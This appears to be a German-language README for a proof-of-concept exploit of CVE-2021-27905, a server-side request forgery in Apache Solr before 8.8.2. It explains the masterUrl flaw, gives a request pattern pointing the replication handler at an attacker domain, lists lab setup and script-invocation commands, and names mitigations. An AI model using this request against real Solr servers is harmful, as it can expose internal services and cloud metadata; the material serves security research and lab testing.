
Apache Solr < 8.8.2 Serverseitige Request-Fälschung
Nur für Bildungs- und Forschungszwecke. Verwenden Sie diesen Code nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Ich übernehme keine Verantwortung für Missbrauch.
Hierbei handelt es sich um eine Server-Side-Request-Forgery-Schwachstelle, die Apache Solr (< 8.8.2) betrifft. Sie ermöglicht es entfernten Angreifern, über den Parameter masterUrl des Replication-Handlers beliebige HTTP-Anfragen an interne oder externe Systeme zu senden und dabei potenziell interne Dienste oder sensible Cloud-Metadaten offenzulegen.
Betroffene Versionen: Alle Versionen vor 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Der Replikationsmechanismus in Solr erlaubt es einer „Replica“, Indexdateien von einem „Master/Leader“ abzurufen, indem sie einen masterUrl- oder leaderUrl-Parameter angibt. Die über diesen Parameter angegebene URL wird in den betroffenen Apache Solr-Versionen nicht ausreichend validiert. Dadurch können Angreifer den Server dazu bringen, auf eine von ihnen gewählte remote Ressource zuzugreifen.
Verwundbarer Ablauf
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solrs ReplicationHandler wird:
masterUrl verwenden, um Indexdaten herunterzuladen.LABORAUFBAU
$ cd lab
$ docker compose up -d
# Zugriff überprüfen
$ curl http://127.0.0.1:8983/solr
$ docker compose down
AUSNUTZUNG
# für Windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# für Linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py ausführen$ python3 cve-2021-27905.py --target <ZIEL> --payload <SSRF_PAYLOAD>

Solrs ReplicationHandler wurde gepatcht, um:
masterUrl/leaderUrl nur auf erlaubte Hosts verweist.http, https)./replication mit Authentifizierung zu sichern oder ganz zu entfernen, falls nicht benötigt.